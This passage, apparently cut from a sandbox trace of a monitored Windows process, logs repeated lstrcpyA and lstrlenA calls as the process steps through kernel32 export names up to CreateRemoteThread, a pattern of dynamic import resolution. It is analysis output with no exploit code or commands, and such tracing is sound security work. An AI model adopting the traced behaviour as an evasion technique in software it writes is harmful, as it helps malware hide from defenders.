returned="BasepSetFileEncryptionCompression" [0101.244] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0101.244] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0101.244] lstrlenA (lpString="BEEP") returned 4 [0101.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0101.245] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0101.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0101.245] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0101.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0101.245] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0101.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0101.245] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0101.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0101.245] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0101.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0101.245] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0101.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0101.245] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0101.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0101.245] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0101.245] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0101.245] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0101.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0101.246] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0101.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0101.246] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0101.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0101.246] lstrlenA (lpString="CANCELIO") returned 8 [0101.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0101.246] lstrlenA (lpString="CANCELIOEX") returned 10 [0101.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0101.246] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0101.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0101.246] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0101.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0101.246] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0101.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0101.246] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0101.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0101.246] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0101.246] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0101.246] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0101.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0101.247] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0101.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0101.247] lstrlenA (lpString="CHECKELEVATION") returned 14 [0101.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0101.247] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0101.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0101.247] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0101.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0101.247] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0101.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0101.247] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0101.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0101.247] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0101.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0101.247] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0101.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0101.247] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0101.247] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0101.248] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0101.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0101.248] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0101.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0101.248] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0101.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0101.248] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0101.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0101.248] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0101.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0101.248] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0101.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0101.248] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0101.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0101.248] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0101.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0101.248] lstrlenA (lpString="CLOSESTATE") returned 10 [0101.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0101.248] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0101.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0101.249] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0101.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0101.249] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0101.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0101.249] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0101.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0101.249] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0101.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0101.249] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0101.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0101.249] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0101.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0101.249] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0101.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0101.249] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0101.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0101.249] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0101.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0101.250] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0101.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0101.250] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0101.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0101.250] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0101.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0101.250] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0101.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0101.250] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0101.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0101.250] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0101.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0101.250] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0101.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0101.250] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0101.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0101.250] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0101.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0101.251] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0101.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0101.251] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0101.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0101.251] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0101.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0101.251] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0101.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0101.251] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0101.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0101.251] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0101.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0101.251] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0101.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0101.251] lstrlenA (lpString="COPYCONTEXT") returned 11 [0101.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0101.251] lstrlenA (lpString="COPYFILE2") returned 9 [0101.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0101.252] lstrlenA (lpString="COPYFILEA") returned 9 [0101.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0101.252] lstrlenA (lpString="COPYFILEEXA") returned 11 [0101.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0101.252] lstrlenA (lpString="COPYFILEEXW") returned 11 [0101.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0101.252] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0101.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0101.252] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0101.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0101.252] lstrlenA (lpString="COPYFILEW") returned 9 [0101.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0101.252] lstrlenA (lpString="COPYLZFILE") returned 10 [0101.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0101.252] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0101.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0101.252] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0101.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0101.252] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0101.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0101.253] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0101.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0101.253] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0101.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0101.253] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0101.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0101.253] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0101.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0101.253] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0101.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0101.253] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0101.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0101.253] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0101.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0101.253] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0101.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0101.253] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0101.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0101.253] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0101.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0101.254] lstrlenA (lpString="CREATEEVENTA") returned 12 [0101.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0101.254] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0101.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0101.254] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0101.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0101.254] lstrlenA (lpString="CREATEEVENTW") returned 12 [0101.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0101.254] lstrlenA (lpString="CREATEFIBER") returned 11 [0101.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0101.254] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0101.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0101.254] lstrlenA (lpString="CREATEFILE2") returned 11 [0101.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0101.254] lstrlenA (lpString="CREATEFILEA") returned 11 [0101.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0101.254] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0101.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0101.254] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0101.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0101.255] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0101.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0101.255] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0101.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0101.255] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0101.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0101.255] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0101.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0101.296] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0101.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0101.296] lstrlenA (lpString="CREATEFILEW") returned 11 [0101.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0101.296] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0101.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0101.296] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0101.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0101.296] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0101.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0101.296] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0101.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0101.296] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0101.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0101.296] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0101.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0101.296] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0101.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0101.297] lstrlenA (lpString="CREATEJOBSET") returned 12 [0101.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0101.297] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0101.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0101.297] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0101.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0101.297] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0101.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0101.297] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0101.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0101.297] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0101.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0101.297] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0101.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0101.297] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0101.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0101.298] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0101.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0101.298] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0101.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0101.298] lstrlenA (lpString="CREATEPIPE") returned 10 [0101.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0101.298] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0101.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0101.298] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0101.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0101.298] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0101.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0101.298] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0101.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0101.298] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0101.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0101.298] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0101.298] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0101.299] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0101.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0101.299] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0101.299] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" 